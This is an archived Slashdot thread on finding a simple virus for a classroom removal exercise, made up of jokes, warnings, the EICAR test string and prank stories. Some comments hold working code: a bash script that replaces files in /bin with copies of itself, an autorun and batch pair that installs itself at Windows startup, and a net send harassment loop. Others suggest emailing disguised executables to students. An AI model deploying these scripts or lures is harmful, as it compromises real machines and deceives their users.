Slashdot Mirror

← Back to Stories (view on slashdot.org)

Simple Virus For Teaching?

Posted by samzenpus on from the my-first-malware dept.

ed1023 writes "Currently I am teaching a 101 class on computers. It is more of a 'demystifying the black box' type of class. The current topic is computer viruses; I am looking for a virus with which I can infect the lab computers (only connected to local network, no outside network connection) that would be easy for the students to remove by hand. Can the Slashdot community point me in any directions? Is there an executable out there that would work, or do I try to write one myself, or is there one that is written that I can compile myself?"

45 of 366 comments (clear)

  1. What OS? And how annoying? by canyon289 · · Score: 3, Informative

    What OS are you running? You could create a simple bat script that pops up an annoying message every 20 or 30 minutes to show your students an "infected' machine.

    1. Re:What OS? And how annoying? by celardore · · Score: 2, Interesting

      That reminds me of something I did when I was a bit younger. I was leaving the company that day anyway, and some dude had been bugging me for months. At some time previous I'd shoulder-surfed the IT departments "test" account, which I logged onto on an unused PC in the office. I created a simple .bat file

      start:
      net send annoyingguy "message i wanted"
      goto start:

      Or something along that vein. I can't remember exactly how I made it work, but possibly by leaving the PC on, monitor off, when I left work the last time.
      The boss knew the people I went to work for so it didn't end well for me, but looking back it was incredibly funny and the couple weeks out of employment turned out to be very beneficial to my career in the long run.

      I heard a couple months later from some old co-workers that it took IT about two days to figure out and in the meantime, old mateys account was unusable.

      Live and learn I guess. Was still funny, and incredibly basic.

    2. Re:What OS? And how annoying? by crisco · · Score: 5, Informative
      Back in the late 80s we had a bunch of 10MHz XT clones in a computer lab networked together using Novel and 10BASE2 or maybe even TokenRing. Some of the games we had ran timing loops for the original 4.77 MHz PC so we had some simple TSR that sat on the interrupt timer and ran some NOPs to slow the computers down. I thought it would be a funny prank to add this to the AUTOEXEC.BAT file on most of the boot floppies in the lab, sadly I didn't test it on more than one computer.

      The interrupts and NOPs interfered greatly with the network cards, causing the whole thing to come crashing down when more than a couple of the computers were running at a time. It took at least a couple of days for the sysadmin to sort it out.

      RIP George, thanks for introducing me to the Internet and I'm sorry that you didn't get to stick around for Linux and /. I should have taken your Minix class when I had the chance.

      --

      Bleh!

    3. Re:What OS? And how annoying? by arth1 · · Score: 3, Interesting

      If Linux (or similar), here's an example of a worm that spreads itself on the local host whenever executed as root:

      #!/bin/bash
       
      if [ -O /bin/su ]; then
        mkdir -p /bin/.infected
        TARGET="/bin/ls"
        if [ -e /bin/.infected/ls ]; then
          TARGET=$(for i in $(find /bin -type f -prune); do
            echo 0$RANDOM $i
          done | sort | head -1 | cut -d' ' -f2-)
        fi
        if [ ! -e /bin/.infected/$(basename $TARGET) ]; then
          mv $TARGET /bin/.infected/
          cp $0 $TARGET
        fi
      fi
      ME="$(basename $0)"
      if [ -x /bin/.infected/$ME ]; then
        PATH=/bin/.infected:$PATH
        $ME $*
        if [ $RANDOM -gt 30000 ]; then
          echo "Something wonderful has happened ... your machine is alive"
        fi
      fi

      Save as "virus"
      chmod +x virus ./virus
      rm -f virus

    4. Re:What OS? And how annoying? by arth1 · · Score: 4, Funny

      Windows IT guys can be clueless. In a previous job, IT insisted on shutting down my machine and take it away for cleaning because I saved the EICAR test string in cygwin so I could test my Unix boxes' clamav with it. There was no convincing them that the string "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" wasn't a virus.
      Not even my creds as the author of the world's first heuristic AV scanner, nor my certifications were believed, because Symantec Antivirus claimed it was a virus, so it had to be.

      That ITs internal HP printers LCD panels suddenly started displaying "INSERT COIN" had nothing to do with this, I swear.

    5. Re:What OS? And how annoying? by xandercash · · Score: 3, Informative

      I'm having a similar problem right now. An app I'm working on which does some low level socket networking keeps being flagged by Symantec's active scan as a virus. I'm not sure why, yet, but IT keeps telling me my computer is infected (as discovered by their nightly scans). I've explained more than once that it's an innocuous program that I wrote myself, and have assured them many times that it is NOT a virus. But they believe Symantec over me. It's VERY annoying when I compile the app and Symantec decides to delete it an hour later. Or when it's running and suddenly stops because Symantec suspended the process. It was funny the first time. (where'd the exe go? I know it was here somewhere...) but it's gotten quite tiresome. Then there's the OTHER conversation. "Why did you disable your antivirus? That's against company policy" "It keeps flagging my project as a virus" "Well, then don't write a virus...."

    6. Re:What OS? And how annoying? by ArsenneLupin · · Score: 5, Interesting
      Another fun prank from the DOS days: A TSR program that hooked in the keyboard interrupt, and if it detected that it was called from Turbo Pascal, and that the sequence for compilation was called, it would locate the editor buffer and randomly change a couple of semicolons to colon.

      This was both annoying as hell (plenty of syntax errors), and difficult to positively blame on mischief as:

      • Colon and semicolon are on same key, so easy to blame on typo (phat phingered the shift key)
      • On those crappy monitors that we used back then, it was really difficult to tell colon and semicolon apart

      The TSR was called <shift-space>.com and so a cursory perusal of the autoexec.bat would not reveal its presence, as shift-space just looks like a normal space (... but can be the name of a command)

      IT spend an entire day trying to re-install Turbo Pascal, and the problem still persisted... (because it was in an independent TSR, not in the Turbo Pascal app itself)

      Then, the next day, re-install of the entire system.

      Another fun TSR one was the annoying keyboard beep. The TSR had a timetable of the classes build in, so that the keyboard click would be very short and almost unnoticable at the beginning of the class, and then gradually grew longer and longer during the class (first a faint click, than a more obvious click, and by the end of the hour an annoying beeeeeeeeeep). Fun thing is, as it was gradual, nobody really noticed when/how it started, but eventually that background noise was "just there"...

      A, those were the days of highschool pranks...

    7. Re:What OS? And how annoying? by lewko · · Score: 3, Funny

      It looks like you're writing a joke.

      Would you like help?

      --
      Do you or your partner snore? - Visit www.snoring.com.au
    8. Re:What OS? And how annoying? by lewko · · Score: 4, Funny

      Not computer related, but similar.

      A friend of mine carried a pager years ago. I wrote a script to send a message to his pager every morning at 3am, saying "Low Battery".

      --
      Do you or your partner snore? - Visit www.snoring.com.au
  2. Sure by Peach+Rings · · Score: 3, Funny

    Here, let me link you to an executable file so you can download it and run it on an entire lab of computers. It's safe, don't worry.

  3. EICAR by Anonymous Coward · · Score: 5, Informative

    http://en.wikipedia.org/wiki/EICAR_test_file

    1. Re:EICAR by timothyf · · Score: 4, Insightful

      Then he's pretty stupid for wanting that. This'll look exactly the same as a real virus, and it will be easy to clean off, but it won't propagate or do nasty things like a real virus. For a computers 101 class, anything more than something like this is just asking for trouble.

    2. Re:EICAR by moonbender · · Score: 3, Interesting

      The file is simply a text file of either 68 or 70 bytes that is a legitimate executable file called a COM file that can be run by Microsoft operating systems and some work-alikes (except for 64-bit due to 16-bit limitations), including OS/2. When executed, it will print "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!" and then stop. The test string was specifically engineered to consist of ASCII human-readable characters, easily created using a standard computer keyboard. It makes use of self-modifying code to work around technical issues that this constraint makes on the execution of the test string.

      Wow, that's pretty cool. Here's the string: X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

      --
      Switch back to Slashdot's D1 system.
    3. Re:EICAR by rpresser · · Score: 5, Funny

      Thanks, dude. My virus scanner just started complaining about my browser cache.

    4. Re:EICAR by JWSmythe · · Score: 2, Funny

          I was surprised this didn't have the "What could possibly go wrong" tag. :)

          Note in the question he did say "... do I try to write one my self ...". I've seen quite a few reports where someone wrote a proof of concept virus that was just a bit more virile than they thought, and it ended up everywhere. It'll lead to that "Oops, I thought I prevented it from doing ..." This is fun, we get a front row seat to someone making a complete ass out of themselves. I hope it doesn't cause too much trouble..

      --
      Serious? Seriousness is well above my pay grade.
    5. Re:EICAR by yuna49 · · Score: 4, Informative

      EICAR is detected by all AV products including ClamAV.

      I'd put it in a zip file, then attach the zip to an email message. Show how real viruses propagate by mail. How about putting a copy on a USB pendrive then running eicar.com from Autostart? Any Windows AV product with a decent autoscanner should detect both of these and pop up a warning.

      If you want to get really fancy you can set up a Linux box running MailScanner with ClamAV and send an "EICAR-infected" e-mail message through it. You'll see MailScanner detect the virus, put it in a quarantine, and send notices to the admin and, optionally, the sender.

      For a lay audience I think it's more important to stress the vectors than to concentrate on the payload itself.

      Now if you could only find a site distributing Antivirus 2010. If you do, make sure you're using a Linux machine when you visit the site. If your class understands that there's more to the world than Windows, see how long it takes them to understand why there can't really be an AV program "scanning the C: drive."

  4. You may already have one by Anonymous Coward · · Score: 2, Funny

    Windows? Fairly easy to remove.

  5. Norton by cjfs · · Score: 3, Insightful

    I don't even know if I'm joking.

    1. Re:Norton by frosty_tsm · · Score: 4, Insightful

      I don't even know if I'm joking.

      You missed a requirement: easy for the students to remove by hand

    2. Re:Norton by Ihmhi · · Score: 3, Funny

      You can use an acetylene torch with just one hand, I'm sure.

      --
      Random Thoughts From A Diseased Mind (Not For Dummies)
  6. Note to self... by tool462 · · Score: 3, Insightful

    Do NOT click on any links posted in the comments on this article.

    1. Re:Note to self... by h4rr4r · · Score: 5, Funny

      Note to tool462, stop using windows.

  7. Stoned by PacoSuarez · · Score: 4, Interesting

    Stoned is a classic and a pleasure to disassemble. It fits in a boot sector (512 bytes) and it's not particularly malicious, but it has all the elements that a virus needs. I don't know if it would still work on a modern computer, though: Some old viruses used funky instructions that became obsolete (like "POP CS"), and this one seems to have issues working on large-capacity disks.

  8. DON'T DO IT! You'll get fired by CPE1704TKS · · Score: 5, Insightful

    It sounds instructive, but you will probably get fired for lacking good judgement.

    There are plenty of stories where teachers do similar things that end up getting them fired. Teaching students how to write viruses, faking a classroom kidnapping, how to plan a terrorist attack, etc.

    Teaching your students how to write a virus is a classic case of bad judgement. Your superiors will tell you "What were you thinking?" and you will get let go.

    Teach them verbally how viruses are created, but don't assign anything as homework.

  9. Go fish... by clone53421 · · Score: 2, Informative

    Just pick any of the scores of .exe files masquerading as cracks on LimeWire. You’ll have to turn off the AV and executable file filter to download it, of course...

    --
    Alexander Peter Kristopeit bought his basement from his mommy for one dollar.
  10. Re:Fake it. by Missing.Matter · · Score: 4, Informative

    The plural of virus is viruses. Just like the plural of abacus is abacuses, not abacai. Viri (or even worse, virii) annoys the hell out of me.

  11. Re:DON'T DO IT! You'll get fired by jmottram08 · · Score: 3, Insightful
    No where was it mentioned about creating one. Ever. It was mentioned about how to REMOVE one, and to illustrate how they spread.

    It wasn't even mentioned that this is a coding class.

    It is a class about computers, and he wants to teach virus removal.

    Stop being such a lawyer and actually read the summary ffs.

  12. Try this instead. by neiras · · Score: 5, Interesting

    What do you expect a student to learn from being told "there is a virus on this machine, remove it by hand"?

    If they are in the "demystifying the black box" phase, they have no idea what you're talking about.

    Teach them that viruses are just programs like Word or Excel, except with a specific malicious purpose. Give them an overview of how a machine or user might be tricked into running malicious software. Teach them about how malicious software might propagate. Use historical examples. Talk about privileges.

    Virus is a slang term that brings up all kinds of scare reactions in ordinary people. They immediately assume that machines are vulnerable to bacteria floating around on the wind, or something similar. You need to de-emphasize the term "virus". It's just software. Then teach them that 99% of all malicious software runs on Windows, and that it's a reflection of the number of vulnerabilities in Windows code and market share.

    Write a simple program that copies itself to the Windows folder and starts itself at boot. The program should show an alert box saying "HACKED BY PROFESSOR HANDSOME!!!!" if it sees it is being run from the Windows folder. Put it on a USB key with an autorun.ini, tell them you have placed a virus you wrote on there, and let them sort it out. Just be sure you're on an XP machine and that autorun is enabled.

    Better yet, email the .exe to the entire class. Call it CS101-Example.exe, and use the harmless infection to talk about social engineering. Then take them through the 'infection' process, and show them how to remove the file by hand.

    1. Re:Try this instead. by neiras · · Score: 2, Informative

      Better yet, email the .exe to the entire class.

      Are you insane?!? Absolutely DO NOT DO THIS!!

      The gap between my suggestion and what those researchers did is pretty wide. My idea:

        o Doesn't involve bilking people out of their private credentials;
        o Would be limited to a class studying malicious software (how's that for an appropriate context)
        o Involves a known-harmless teaching payload;
        o Would be fully understood and removed by students at the end of the class.

      Deception is inherently disrespectful, even if it is done with good intentions.

      What may seem like a "harmless infection" to you demeans the students, because you're encouraging the instructor to abuse the trust that their students have placed in him. In short, what you are proposing causes harm to the teaching profession.

      I have a hard time understanding why any real teacher in this fellow's position would abstain from imparting one of the most critical lessons a student can learn about security: that they themselves are the weakest link, no matter how smart and prepared they think they are, and no matter how much theory they can regurgitate at paper time.

      The burned hand teaches best, and understanding how and why you were burned is priceless.

      It's disrespectful, and even a little condescending, to 'protect' students from real lessons. Are we preparing them for the real world or not? And are students so fragile that they would run to the Dean's office to complain to about the teacher after such a simple and well-explained exercise?

  13. Write your own? by rwa2 · · Score: 5, Informative

    It's Windows, so it's easy... just create a CD or USB drive with two files:

    autorun.inf :
    [autorun]
                open=installpopup.bat

    installpopup.bat :
    cmd.exe /k echo "Hi I am a virus"
    copy installpopup.bat "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"

    Bonus is that it has plenty of legitimate uses for system automation for your little script kiddies as well.

  14. Re:How about... by X0563511 · · Score: 3, Informative

    Er, did you even read the damn post?

    Here, let me help you out with the first four fucking words:

    Currently I am teaching...

    --
    For large sets, this will be our guide even unto death, for the LORD will work for each type of data it is applied to...
  15. Re:Fake it. by blair1q · · Score: 4, Informative

    Well, if you want to get all prissy about the Latin, then it's incorrect to use the word to describe a single unit of the substance, in the way it's not correct to call a single water molecule "a water". Id est, since a viral program is itself a cell in the viral infection of many computers, there's no term for it other than "viral program" and no term for several of them other than "viral programs". The "virus" would be some arbitrarily bounded subset of the population of said viral programs infecting machines, which could devolve to a single program infecting a single machine, but would still not be the correct term for that program or, indeed, for the viral infection being suffered by that machine. It could correctly refer to the running program and its data (which in most computers includes its instructions) and the progress of its states, but I'm pretty sure nobody much thinks of it that clearly when using the word "virus". Nor is it correct to use "a virus" to refer to a type of virus (exempli gratia Stuxnet, Sasser, Hopper, et cetera) but only to an instance of that type of virus as it is spreading, or, again, some arbitrary subset thereof, wherein it has its physical expression and aggregate, fluid form.

    As for whether it annoys you for people to use a latinate word that is both convenient and apt despite its not being precisely Latin, well, tough titty, because apparently the Latin version of it is a mispronunciation of the Proto-Indo-European word for the same gooey mess, so insisting on going only as far back as Latin for the value of correctness of form is false cognitive closure, and that gives everyone else cause to be annoyed at you.

  16. That virus will fail on Vista/7 by Anonymous Coward · · Score: 4, Informative

    if UAC is enabled, Explorer is not running with privileges that can write to the All Users profile.

    For that matter, this will fail on any system where the profile directory isn't in "C:\Documents and Settings", which includes any non-English OS.

    Use

    copy installpopup.bat "%userprofile%\Start Menu\Programs\Startup" instead

  17. Bad idea by FlyByPC · · Score: 3, Insightful

    This sort of thing is exactly what the "whatcouldpossiblygowrong" tag is for. I'm surprised it hasn't shown up yet...

    --
    Paleotechnologist and connoisseur of pretty shiny things.
  18. Maybe ask a clamav virus signature author... by mrflash818 · · Score: 3, Informative

    ...if they know of a good virus candidate?

    http://www.clamav.net/

    --
    Uh, Linux geek since 1999.
  19. Re:EICAR? by Barny · · Score: 2, Insightful

    No, the guy wants a live virus that the students need to be able to remove, not an inert file that will simply trip an AV scanner to remove it.

    --
    ...
    /me sighs
  20. Re:DON'T DO IT! You'll get fired by Anonymous Coward · · Score: 2, Insightful

    He's planning to intentionally infect the school network with a virus as part of a lesson. Sounds like something you get fired for.

  21. write it yourself by jamesh · · Score: 2, Interesting

    Write it yourself. The fact that you would even consider this without thinking about the potential for it to be a serious Career Limiting Move means that it should be a fun ride :)

    Seriously though, install XP at some base service pack level - sp1 or sp2 might do, then connect it to the internet without any firewall. The viruses will find you.

    But you could have a bit more fun than that. Write an exe file that simply pops up a "if this was a virus you'd be pwn3d by now" message. Then pick one of the popular kids in the class (lets call her Jane Smith), and send an email around to your whole class from an anonymous hotmail account (or some service that allows sending exe files) with a subject of "Ha Ha. Look at what Jane Smith got up to last night." and include the exe file with a message "pics attached". Fail everyone who opens it. You'll probably still lose your job due to the idiots they put in power, but at least you'll have taught your class a lesson (the lesson being "if you're a teacher, it pays not to think for yourself".)

    You don't say what the age of your students is. If it's a university or TAFE level class you might get away with it, but you only have to offend one daddy's girl and it's all over.

  22. Re:DON'T DO IT! You'll get fired by gringer · · Score: 3, Informative

    No where was it mentioned about creating one. Ever.... actually read the summary ffs.

    I think you may have missed this part of the summary:

    do I try to write one my self

    --
    Ask me about repetitive DNA
  23. Re:DON'T DO IT! You'll get fired by Delarth799 · · Score: 2, Informative

    He wants to infect some computers in a lab, that's why the virus cant be one that spreads to other computers so he doesn't infect the whole damn network. Now sure the best thing to do would be setup some computers on just a local LAN that doesn't have any access to the school network but that might not be an option.

  24. Re:DON'T DO IT! You'll get fired by axismundi · · Score: 2, Interesting

    I wrote a virus in middleschool (Windows 3.1 and DOS) which I showed to a friend, who infected some girl's computer. Turns out her computer belonged to her dad's small business. The ensuing shit-show of confused administrations, criminal charges, civil threats and pissed parents ended with a restraining order on ME and apparently some trouble for the "exploratory program" administrator, who at some point allowed me to use a computer, though it was most certainly not in any way involved with my extracurricular activities. Never underestimate the ability of an organization such as a school to dish out punishment on the wrong people. I agree with the parent poster, steer clear.

  25. Re:Obligatory by hairyfeet · · Score: 4, Insightful

    Yeah but the odds of running into BO in real life is slim to none, so if you are gonna teach them about bugs, why not something useful? I'd suggest one of the Rogue AV or security tool variants. Those infections are as common as dirt, being in the PC fixit biz I should know, and removal involves all the classics...F8 boot into safe mode, deleting the reg keys, then running a nice CD or USB key scanner (I'd of course recommend CD, as it is cheap and easy). Hell you can have them make their own AV Rescue Disc which then they can take home with them, and is a nice tool to have.

    So I guess the real question is if this is gonna be a BS class, where you teach them something that the odds are virtually zipola of running into IRL, or give them a nice overview of how to DIY fixit work? Because while the Security Tool variants freak out the users they are actually pretty damned easy to kill once you know what you are looking for, and pretty much any bug short of a rootkit follows the SOP bugs like Security Tool use. IMHO it would be a good all around lesson, and as long as the machines aren't on the net not a threat. As a bonus you would give them an up close and personal glimpse at how scareware works, which sadly is becoming QUITE popular for malware writers. by knowing the signs and being able to spot the phonies they can actually help their less clueless relatives and be safer themselves.

    --
    ACs don't waste your time replying, your posts are never seen by me.
  26. Re:Fake it. by Internalist · · Score: 4, Interesting

    +5, Informative?...REALLY?!?...

    OK, let's start with a handily recent post on the Language Log about Latin plurals (the post is about "syllabus", but "virus/viruses/*viri/**virii" show up in the comments).

    Now, onward...

    Well, if you want to get all prissy about the Latin, then it's incorrect to use the word to describe a single unit of the substance, in the way it's not correct to call a single water molecule "a water".

    Actually (and ignoring the somewhat startling categorisation of computer virus as "substance"), not in the same way at all. You can't call a single molecule of water "a water" because "water" is a mass noun in English, and those don't (i) take indefinite articles, and (ii) don't pluralize nicely (inter alia). It's possible that this portion of your argument comes from here, which points out that in Latin, "virus" ("poison") was a mass noun. Of course, in English, "virus" is very clearly a count noun in English, since it can be (and overwhelmingly is) used with an indefinite article.

    Id est, since a viral program is itself a cell in the viral infection of many computers, there's no term for it other than "viral program" and no term for several of them other than "viral programs".

    You appear in the preceding to be claiming that the word "virus" doesn't exist in English (or perhaps simply that is has no referent) a claim some information security researchers (and doctors!) might take issue with (cue lambasting for the stranded preposition in 3...2..1).

    That being said, this raises an interesting point about...something. Maybe the type/token distinction? When someone says "I wrote a virus", we take him (or her, I suppose) to be making a claim about an implementation of some specific algorithm in some specific language, but not to any particular token of it.

    The "virus" would be some arbitrarily bounded subset of the population of said viral programs infecting machines, [...]

    I don't understand the grounds on which you're making this claim.

    [...] which could devolve to a single program infecting a single machine, but would still not be the correct term for that program or, indeed, for the viral infection being suffered by that machine. It could correctly refer to the running program and its data (which in most computers includes its instructions) and the progress of its states,

    OK, so the "running program, and its data" counts pretty much as a "single token of the substance" at hand, in my book. So now it sounds like you're contradicting your opening claim.

    but I'm pretty sure nobody much thinks of it that clearly when using the word "virus".

    As I just mentioned, you seem to be contradicting yourself (although I may just be misreading you), so you'll forgive if I take claims of clear thinking only quasi-seriously.

    Nor is it correct to use "a virus" to refer to a type of virus (exempli gratia Stuxnet, Sasser, Hopper, et cetera) [...]

    Why is this 'incorrect'? "I wrote a virus. I'm calling it Johnny5." Seems like a perfectly good use of "a virus" to me.

    [...] but only to an instance of that type of virus as it is spreading, [...]

    Again, isn't this in contradiction to how you started this comment?

    or, again, some arbitrary subset thereof, wherein it has its physical expression and aggregate, fluid form.

    Aside from the impossibility of "some arbitrary subset" of an instance (I'll assume that was just a typo/thinko), now you're just engaged in verbal wankery. I mean, I suppose you might choose to model the spread of contagion in a network of computers as the flow of a kind of flu

    --
    Research is what I'm doing when I don't know what I'm doing. -- Wernher von Braun
  27. Re:DON'T DO IT! You'll get fired by L4t3r4lu5 · · Score: 4, Informative

    Yes, because he wants to make sure the "fake" virus he uses for the removal exercise doesn't contain some hidden, actually damaging, payload.

    Someone has already suggested the EICAR test file, which is ideal. It pops up a message box, and is easy to remove. He can add links the various windows startup files, the registry, he can go old school and call it from a batch file, and he's safe in the knowledge that he's in no danger of hosing his systems.

    Nowhere in the stub did he say he was going to teach the kids about actually writing the virus they were to remove. Reading comprehension fail.

    --
    Finally had enough. Come see us over at https://soylentnews.org/
  28. how to write teh virus??? by rve · · Score: 4, Interesting

    On any tech forum, including slashdot, you have wannabe haxx0rz who ask "how to write teh virus???" They never get a serious answer, obviously.

    The OP (ed1023) thinks he can trick slashdot readers with some social engineering into thinking they're really helping someone this time by telling him "how to write teh virus???". Who knows, maybe he will succeed. Maybe he will write teh virus.